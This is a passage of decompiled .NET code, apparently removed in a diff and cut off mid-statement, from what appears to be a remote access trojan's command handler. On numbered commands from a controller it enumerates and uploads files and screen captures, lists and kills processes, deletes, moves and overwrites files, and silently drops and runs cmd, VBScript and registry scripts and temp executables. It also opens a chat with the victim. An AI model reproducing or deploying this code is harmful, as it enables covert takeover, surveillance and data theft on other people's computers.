(Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++index3; } - } - string str44 = str40; - string y9 = IND.Y; - string s11 = "System32" + IND.Y + "DIR" + IND.Y + Interaction.Environ("windir") + "\\system32"; - string str45 = API.ENB(ref s11); - string str46 = str44 + y9 + str45; - B b = MyProject.Forms.B; - string str47 = "#8" + str46; - ref string local = ref str47; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#10", false) == 0) - { - num1 = 6; - Array Instance16 = Instance1; - object[] objArray30 = new object[1]; - object[] objArray31 = objArray30; - int num22 = 1; - // ISSUE: variable of a boxed type - __Boxed local40 = (ValueType) num22; - objArray31[0] = (object) local40; - object[] Arguments9 = objArray30; - string s12 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance16, Arguments9, (string[]) null)); - string path1 = API.DEB(ref s12); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num22, - (object) s12 - }, (string[]) null, true, false); - string[] directories = Directory.GetDirectories(path1); - int index4 = 0; - string str48; - while (index4 < directories.Length) - { - string str49 = directories[index4]; - string str50 = str48; - string y = IND.Y; - string Expression = str49; - Array Instance17 = Instance1; - object[] objArray32 = new object[1]; - object[] objArray33 = objArray32; - int num23 = 1; - // ISSUE: variable of a boxed type - __Boxed local41 = (ValueType) num23; - objArray33[0] = (object) local41; - object[] Arguments10 = objArray32; - string s13 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance17, Arguments10, (string[]) null)); - string Find = API.DEB(ref s13); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num23, - (object) s13 - }, (string[]) null, true, false); - string s14 = Strings.Replace(Expression, Find, "") + "*DIR"; - string str51 = API.ENB(ref s14); - str48 = str50 + y + str51; - checked { ++index4; } - } - string[] strArray3 = new string[5] - { - "png", - "jpg", - "jpeg", - "bmp", - "ico" - }; - int num24 = 0; - Array Instance18 = Instance1; - object[] objArray34 = new object[1]; - object[] objArray35 = objArray34; - int num25 = 1; - // ISSUE: variable of a boxed type - __Boxed local42 = (ValueType) num25; - objArray35[0] = (object) local42; - object[] Arguments11 = objArray34; - string s15 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance18, Arguments11, (string[]) null)); - string path2 = API.DEB(ref s15); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num25, - (object) s15 - }, (string[]) null, true, false); - string[] files = Directory.GetFiles(path2); - int index5 = 0; - while (index5 < files.Length) - { - string str52 = files[index5]; - string[] strArray4 = strArray3; - int index6 = 0; - bool flag; - while (index6 < strArray4.Length) - { - if (Operators.CompareString(strArray4[index6].ToLower(), Strings.Split(str52, ".")[checked (Strings.Split(str52, ".").Length - 1)].ToLower(), false) == 0) - { - flag = true; - break; - } - checked { ++index6; } - } - string s16; - if (flag & num24 < 20) - { - try - { - Image image = Image.FromFile(str52); - MemoryStream memoryStream = new MemoryStream(); - EncoderParameters encoderParams = new EncoderParameters(1); - encoderParams.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 40L); - ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg"); - image.GetThumbnailImage(20, 20, (Image.GetThumbnailImageAbort) null, IntPtr.Zero).Save((Stream) memoryStream, encoderInfo, encoderParams); - string str53 = str48; - string y = IND.Y; - string[] strArray5 = new string[5]; - string[] strArray6 = strArray5; - string Expression = str52; - Array Instance19 = Instance1; - object[] objArray36 = new object[1]; - object[] objArray37 = objArray36; - int num26 = 1; - // ISSUE: variable of a boxed type - __Boxed local43 = (ValueType) num26; - objArray37[0] = (object) local43; - object[] Arguments12 = objArray36; - string s17 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance19, Arguments12, (string[]) null)); - string Find = API.DEB(ref s17); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num26, - (object) s17 - }, (string[]) null, true, false); - string str54 = Strings.Replace(Expression, Find, ""); - strArray6[0] = str54; - strArray5[1] = "*"; - strArray5[2] = Conversions.ToString(FileSystem.FileLen(str52)); - strArray5[3] = "*"; - strArray5[4] = API.FEN(memoryStream.ToArray()); - s16 = string.Concat(strArray5); - string str55 = API.ENB(ref s16); - str48 = str53 + y + str55; - memoryStream.Dispose(); - encoderParams.Dispose(); - image.Dispose(); - checked { ++num24; } - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - string str56 = str48; - string y = IND.Y; - string Expression = str52; - Array Instance20 = Instance1; - object[] objArray38 = new object[1]; - object[] objArray39 = objArray38; - int num27 = 1; - // ISSUE: variable of a boxed type - __Boxed local44 = (ValueType) num27; - objArray39[0] = (object) local44; - object[] Arguments13 = objArray38; - string s18 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance20, Arguments13, (string[]) null)); - string Find = API.DEB(ref s18); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num27, - (object) s18 - }, (string[]) null, true, false); - string s19 = Strings.Replace(Expression, Find, "") + "*" + Conversions.ToString(FileSystem.FileLen(str52)); - string str57 = API.ENB(ref s19); - str48 = str56 + y + str57; - ProjectData.ClearProjectError(); - } - } - else - { - string str58 = str48; - string y = IND.Y; - string Expression = str52; - Array Instance21 = Instance1; - object[] objArray40 = new object[1]; - object[] objArray41 = objArray40; - int num28 = 1; - // ISSUE: variable of a boxed type - __Boxed local45 = (ValueType) num28; - objArray41[0] = (object) local45; - object[] Arguments14 = objArray40; - string s20 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance21, Arguments14, (string[]) null)); - string Find = API.DEB(ref s20); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num28, - (object) s20 - }, (string[]) null, true, false); - s16 = Strings.Replace(Expression, Find, "") + "*" + Conversions.ToString(FileSystem.FileLen(str52)); - string str59 = API.ENB(ref s16); - str48 = str58 + y + str59; - } - checked { ++index5; } - } - B b = MyProject.Forms.B; - string str60 = "#9" + str48; - ref string local46 = ref str60; - b.SEND(ref local46); - } - else if (Operators.CompareString(Left1, "#11", false) == 0) - { - num1 = 6; - int num29 = checked (Instance1.Length - 1); - int num30 = 1; - while (num30 <= num29) - { - try - { - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num30 - }, (string[]) null)); - string fileName = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num30, - (object) s - }, (string[]) null, true, false); - Process.Start(fileName); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++num30; } - } - } - else if (Operators.CompareString(Left1, "#12", false) == 0) - { - num1 = 6; - Array Instance22 = Instance1; - object[] objArray42 = new object[1]; - object[] objArray43 = objArray42; - int num31 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num31; - objArray43[0] = (object) local; - object[] Arguments = objArray42; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance22, Arguments, (string[]) null)); - string Expression = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num31, - (object) s - }, (string[]) null, true, false); - Array Instance23 = (Array) Strings.Split(Expression, "\r\n"); - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance23, new object[1] - { - (object) 3 - }, (string[]) null), (object) "DIR", false)) - MyProject.Computer.FileSystem.RenameDirectory(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance23, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance23, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"), Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance23, new object[1] - { - (object) 2 - }, (string[]) null))); - else - MyProject.Computer.FileSystem.RenameFile(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance23, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance23, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"), Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance23, new object[1] - { - (object) 2 - }, (string[]) null))); - } - else if (Operators.CompareString(Left1, "#13", false) == 0) - { - num1 = 6; - int num32 = checked (Instance1.Length - 1); - int num33 = 1; - while (num33 <= num32) - { - string s21 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num33 - }, (string[]) null)); - string path3 = API.DEB(ref s21); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num33, - (object) s21 - }, (string[]) null, true, false); - if (Directory.Exists(path3)) - { - string s22 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num33 - }, (string[]) null)); - string path4 = API.DEB(ref s22); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num33, - (object) s22 - }, (string[]) null, true, false); - Directory.Delete(path4, true); - } - else - { - string s23 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num33 - }, (string[]) null)); - string path5 = API.DEB(ref s23); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num33, - (object) s23 - }, (string[]) null, true, false); - File.Delete(path5); - } - checked { ++num33; } - } - } - else if (Operators.CompareString(Left1, "#14", false) == 0) - { - num1 = 6; - Array Instance24 = Instance1; - object[] objArray44 = new object[1]; - object[] objArray45 = objArray44; - int num34 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num34; - objArray45[0] = (object) local; - object[] Arguments = objArray44; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance24, Arguments, (string[]) null)); - string Path = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num34, - (object) s - }, (string[]) null, true, false); - FileSystem.MkDir(Path); - } - else if (Operators.CompareString(Left1, "#15", false) == 0) - { - num1 = 6; - int num35 = checked (Instance1.Length - 1); - int num36 = 1; - while (num36 <= num35) - { - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num36 - }, (string[]) null)); - string Expression = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num36, - (object) s - }, (string[]) null, true, false); - Array Instance25 = (Array) Strings.Split(Expression, "\r\n"); - if (Directory.Exists(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"))) - Directory.Move(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"), Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 2 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\")); - else - File.Move(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\"), Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 2 - }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance25, new object[1] - { - (object) 1 - }, (string[]) null))), "\\\\", "\\")); - checked { ++num36; } - } - } - else if (Operators.CompareString(Left1, "#16", false) == 0) - { - num1 = 6; - B b = MyProject.Forms.B; - string str61 = "#11" + IND.Y; - Array Instance26 = Instance1; - object[] objArray46 = new object[1]; - object[] objArray47 = objArray46; - int num37 = 1; - // ISSUE: variable of a boxed type - __Boxed local47 = (ValueType) num37; - objArray47[0] = (object) local47; - object[] Arguments = objArray46; - string s24 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance26, Arguments, (string[]) null)); - string path = API.DEB(ref s24); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num37, - (object) s24 - }, (string[]) null, true, false); - string s25 = File.ReadAllText(path); - string str62 = API.ENB(ref s25); - string str63 = Conversions.ToString(Operators.ConcatenateObject((object) (str61 + str62 + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))); - ref string local48 = ref str63; - b.SEND(ref local48); - } - else if (Operators.CompareString(Left1, "#17", false) == 0) - { - num1 = 6; - Array Instance27 = Instance1; - object[] objArray48 = new object[1]; - object[] objArray49 = objArray48; - int num38 = 1; - // ISSUE: variable of a boxed type - __Boxed local49 = (ValueType) num38; - objArray49[0] = (object) local49; - object[] Arguments15 = objArray48; - string s26 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance27, Arguments15, (string[]) null)); - string path = API.DEB(ref s26); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num38, - (object) s26 - }, (string[]) null, true, false); - Array Instance28 = Instance1; - object[] objArray50 = new object[1]; - object[] objArray51 = objArray50; - int num39 = 2; - // ISSUE: variable of a boxed type - __Boxed local50 = (ValueType) num39; - objArray51[0] = (object) local50; - object[] Arguments16 = objArray50; - string s27 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance28, Arguments16, (string[]) null)); - string contents = API.DEB(ref s27); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num39, - (object) s27 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - } - else if (Operators.CompareString(Left1, "#18", false) == 0) - { - num1 = 6; - Array Instance29 = Instance1; - object[] objArray52 = new object[1]; - object[] objArray53 = objArray52; - int num40 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num40; - objArray53[0] = (object) local; - object[] Arguments = objArray52; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance29, Arguments, (string[]) null)); - string path = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num40, - (object) s - }, (string[]) null, true, false); - File.Create(path); - } - else if (Operators.CompareString(Left1, "#19", false) == 0) - { - num1 = 6; - MemoryStream memoryStream = new MemoryStream(); - int num41 = checked (Strings.InStr(str1, Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - unchecked ((object) 1) - }, (string[]) null))) + NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - unchecked ((object) 1) - }, (string[]) null).ToString().Length + IND.Y.Length - 1); - int num42 = checked (Da.Length - 1); - int index = num41; - while (index <= num42) - { - memoryStream.WriteByte(Da[index]); - checked { ++index; } - } - Array Instance30 = Instance1; - object[] objArray54 = new object[1]; - object[] objArray55 = objArray54; - int num43 = 1; - // ISSUE: variable of a boxed type - __Boxed local51 = (ValueType) num43; - objArray55[0] = (object) local51; - object[] Arguments = objArray54; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance30, Arguments, (string[]) null)); - string path = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num43, - (object) s - }, (string[]) null, true, false); - byte[] array = memoryStream.ToArray(); - bool flag = false; - ref bool local52 = ref flag; - byte[] bytes = API.ZIP(array, ref local52); - File.WriteAllBytes(path, bytes); - } - else if (Operators.CompareString(Left1, "#20", false) != 0) - { - if (Operators.CompareString(Left1, "#21", false) == 0) - { - num1 = 6; - int num44 = checked (Instance1.Length - 1); - int num45 = 1; - while (num45 <= num44) - { - Thread.Sleep(10); - string s28 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num45 - }, (string[]) null)); - string filename = API.DEB(ref s28); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num45, - (object) s28 - }, (string[]) null, true, false); - new Bitmap(filename).Dispose(); - string s29 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num45 - }, (string[]) null)); - string Expression = API.DEB(ref s29); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num45, - (object) s29 - }, (string[]) null, true, false); - Array Instance31 = (Array) Strings.Split(Expression, "\\"); - B b = MyProject.Forms.B; - string[] strArray7 = new string[5] - { - "#13", - IND.Y, - null, - null, - null - }; - string[] strArray8 = strArray7; - Array Instance32 = Instance31; - object[] objArray56 = new object[1]; - object[] objArray57 = objArray56; - int num46 = checked (Instance31.Length - 1); - // ISSUE: variable of a boxed type - __Boxed local53 = (ValueType) num46; - objArray57[0] = (object) local53; - object[] Arguments = objArray56; - string s30 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance32, Arguments, (string[]) null)); - string str64 = API.ENB(ref s30); - NewLateBinding.LateIndexSetComplex((object) Instance31, new object[2] - { - (object) num46, - (object) s30 - }, (string[]) null, true, false); - strArray8[2] = str64; - strArray7[3] = IND.Y; - string[] strArray9 = strArray7; - string s31 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num45 - }, (string[]) null)); - string path = API.DEB(ref s31); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num45, - (object) s31 - }, (string[]) null, true, false); - string str65 = API.FEN(File.ReadAllBytes(path)); - strArray9[4] = str65; - string str66 = string.Concat(strArray7); - ref string local54 = ref str66; - b.SEND(ref local54); - checked { ++num45; } - } - } - else if (Operators.CompareString(Left1, "#22", false) == 0) - { - num1 = 1; - Process[] processes = Process.GetProcesses(); - int index = 0; - string str67; - while (index < processes.Length) - { - Process process = processes[index]; - try - { - str67 = str67 + IND.Y + process.MainModule.ModuleName + "*" + Conversions.ToString(process.Id); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - str67 = str67 + IND.Y + process.ProcessName + "*" + Conversions.ToString(process.Id); - ProjectData.ClearProjectError(); - } - checked { ++index; } - } - B b = MyProject.Forms.B; - string str68 = "#14" + str67; - ref string local = ref str68; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#23", false) == 0) - { - num1 = 1; - int num47 = checked (Instance1.Length - 1); - int num48 = 1; - while (num48 <= num47) - { - Process.GetProcessById(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num48 - }, (string[]) null))).Kill(); - checked { ++num48; } - } - } - else if (Operators.CompareString(Left1, "#24", false) == 0) - { - try - { - chat.clos = true; - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - Thread.Sleep(100); - Array Instance33 = Instance1; - object[] objArray58 = new object[1]; - object[] objArray59 = objArray58; - int num49 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num49; - objArray59[0] = (object) local; - object[] Arguments = objArray58; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance33, Arguments, (string[]) null)); - string str69 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num49, - (object) s - }, (string[]) null, true, false); - B.Cht = str69; - } - else if (Operators.CompareString(Left1, "#25", false) == 0) - { - num1 = 0; - if (B.Chat.InvokeRequired) - { - IND.indd method = new IND.indd(IND.inddd); - Array Instance34 = Instance1; - object[] objArray60 = new object[1]; - object[] objArray61 = objArray60; - int num50 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num50; - objArray61[0] = (object) local; - object[] Arguments = objArray60; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance34, Arguments, (string[]) null)); - string str70 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num50, - (object) s - }, (string[]) null, true, false); - string str71 = str70; - B.Chat.Invoke((Delegate) method, (object) str71); - } - else - { - RichTextBox t1 = B.Chat.T1; - RichTextBox richTextBox = t1; - string[] strArray10 = new string[5] - { - t1.Text, - MyProject.Forms.chat.nick, - " : ", - null, - null - }; - string[] strArray11 = strArray10; - Array Instance35 = Instance1; - object[] objArray62 = new object[1]; - object[] objArray63 = objArray62; - int num51 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num51; - objArray63[0] = (object) local; - object[] Arguments = objArray62; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance35, Arguments, (string[]) null)); - string str72 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num51, - (object) s - }, (string[]) null, true, false); - strArray11[3] = str72; - strArray10[4] = "\r\n"; - string str73 = string.Concat(strArray10); - richTextBox.Text = str73; - } - } - else if (Operators.CompareString(Left1, "#26", false) == 0) - { - num1 = 0; - chat.clos = true; - } - else if (Operators.CompareString(Left1, "#27", false) == 0) - { - num1 = 1; - int num52 = 0; - string s32; - do - { - if (!File.Exists(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num52) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))))) - { - s32 = Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num52) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - break; - } - try - { - FileSystem.Kill(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num52) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)))); - s32 = Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num52) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - break; - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++num52; } - } - while (num52 <= 9999); - string lower = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null).ToString().ToLower(); - if (Operators.CompareString(lower, "cmd", false) == 0) - { - string path = s32; - Array Instance36 = Instance1; - object[] objArray64 = new object[1]; - object[] objArray65 = objArray64; - int num53 = 2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num53; - objArray65[0] = (object) local; - object[] Arguments = objArray64; - string s33 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance36, Arguments, (string[]) null)); - string contents = API.DEB(ref s33); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num53, - (object) s33 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - Interaction.Shell(s32, AppWinStyle.Hide); - } - else if (Operators.CompareString(lower, "vbs", false) == 0) - { - string path = s32; - Array Instance37 = Instance1; - object[] objArray66 = new object[1]; - object[] objArray67 = objArray66; - int num54 = 2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num54; - objArray67[0] = (object) local; - object[] Arguments = objArray66; - string s34 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance37, Arguments, (string[]) null)); - string contents = API.DEB(ref s34); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num54, - (object) s34 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - Process.Start(s32); - } - else if (Operators.CompareString(lower, "Reg", false) == 0) - { - string path = s32; - Array Instance38 = Instance1; - object[] objArray68 = new object[1]; - object[] objArray69 = objArray68; - int num55 = 2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num55; - objArray69[0] = (object) local; - object[] Arguments = objArray68; - string s35 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance38, Arguments, (string[]) null)); - string contents = API.DEB(ref s35); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num55, - (object) s35 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - Interaction.Shell(s32); - } - else - { - string path = s32; - Array Instance39 = Instance1; - object[] objArray70 = new object[1]; - object[] objArray71 = objArray70; - int num56 = 2; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num56; - objArray71[0] = (object) local; - object[] Arguments = objArray70; - string s36 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance39, Arguments, (string[]) null)); - string contents = API.DEB(ref s36); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num56, - (object) s36 - }, (string[]) null, true, false); - File.WriteAllText(path, contents); - Process.Start(s32); - } - B b = MyProject.Forms.B; - string str74 = "#10" + IND.Y + "^" + Conversions.ToString(4) + IND.Y + API.ENB(ref s32); - ref string local55 = ref str74; - b.SEND(ref local55); - } - else if (Operators.CompareString(Left1, "#28", false) == 0) - { - num1 = 1; - object Left3 = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null); - if (Operators.ConditionalCompareObjectEqual(Left3, (object) "!", false)) - { - B b = MyProject.Forms.B; - string y = IND.Y; - ref byte[] local56 = ref C.Plug; - string str75 = "plugin.C"; - ref string local57 = ref str75; - string str76 = "W"; - ref string local58 = ref str76; - object obj = (object) new object[0]; - ref object local59 = ref obj; - string s = Conversions.ToString(C.inv(ref local56, ref local57, ref local58, ref local59)); - string str77 = API.ENB(ref s); - string str78 = "#17" + y + str77; - ref string local60 = ref str78; - b.SEND(ref local60); - } - else if (Operators.ConditionalCompareObjectEqual(Left3, (object) "@", false)) - { - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)); - ref byte[] local61 = ref C.Plug; - string str79 = "plugin.C"; - ref string local62 = ref str79; - string str80 = "CW"; - ref string local63 = ref str80; - object[] objArray72 = new object[2] - { - (object) integer, - null - }; - object[] objArray73 = objArray72; - Array Instance40 = Instance1; - object[] objArray74 = new object[1]; - object[] objArray75 = objArray74; - int num57 = 3; - // ISSUE: variable of a boxed type - __Boxed local64 = (ValueType) num57; - objArray75[0] = (object) local64; - object[] Arguments = objArray74; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance40, Arguments, (string[]) null)); - string str81 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num57, - (object) s - }, (string[]) null, true, false); - objArray73[1] = (object) str81; - object obj = (object) objArray72; - ref object local65 = ref obj; - C.inv(ref local61, ref local62, ref local63, ref local65); - } - else if (Operators.ConditionalCompareObjectEqual(Left3, (object) "#", false)) - { - Array Instance41 = Instance1; - object[] objArray76 = new object[1]; - object[] objArray77 = objArray76; - int num58 = 2; - // ISSUE: variable of a boxed type - __Boxed local66 = (ValueType) num58; - objArray77[0] = (object) local66; - object[] Arguments17 = objArray76; - int integer5 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance41, Arguments17, (string[]) null)); - ref int local67 = ref integer5; - Array Instance42 = Instance1; - object[] objArray78 = new object[1]; - object[] objArray79 = objArray78; - int num59 = 3; - // ISSUE: variable of a boxed type - __Boxed local68 = (ValueType) num59; - objArray79[0] = (object) local68; - object[] Arguments18 = objArray78; - int integer6 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance42, Arguments18, (string[]) null)); - ref int local69 = ref integer6; - API.wd.G(ref local67, ref local69); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num59, - (object) integer6 - }, (string[]) null, true, false); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num58, - (object) integer5 - }, (string[]) null, true, false); - } - else if (Operators.ConditionalCompareObjectEqual(Left3, (object) "$", false)) - { - MemoryStream memoryStream = new MemoryStream(); - int num60 = 0; - ref int local70 = ref num60; - Array Instance43 = Instance1; - object[] objArray80 = new object[1]; - object[] objArray81 = objArray80; - int num61 = 2; - // ISSUE: variable of a boxed type - __Boxed local71 = (ValueType) num61; - objArray81[0] = (object) local71; - object[] Arguments = objArray80; - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance43, Arguments, (string[]) null)); - ref int local72 = ref integer; - byte[] numArray = C.Capture1(ref local70, ref local72); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num61, - (object) integer - }, (string[]) null, true, false); - byte[] buffer = numArray; - memoryStream.Write(MyProject.Forms.B.WC.STB("#18" + IND.Y), 0, MyProject.Forms.B.WC.STB("#18" + IND.Y).Length); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - memoryStream.Dispose(); - } - } - else if (Operators.CompareString(Left1, "#29", false) == 0) - { - num1 = 0; - B b = MyProject.Forms.B; - string str82 = "#Bla"; - ref string local73 = ref str82; - b.SEND(ref local73); - int num62 = 0; - string str83; - while (File.Exists(Interaction.Environ("temp") + "\\" + Conversions.ToString(num62) + ".exe")) - { - try - { - File.Delete(Interaction.Environ("temp") + "\\" + Conversions.ToString(num62) + ".exe"); - str83 = Interaction.Environ("temp") + "\\" + Conversions.ToString(num62) + ".exe"; - goto label_247; - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { 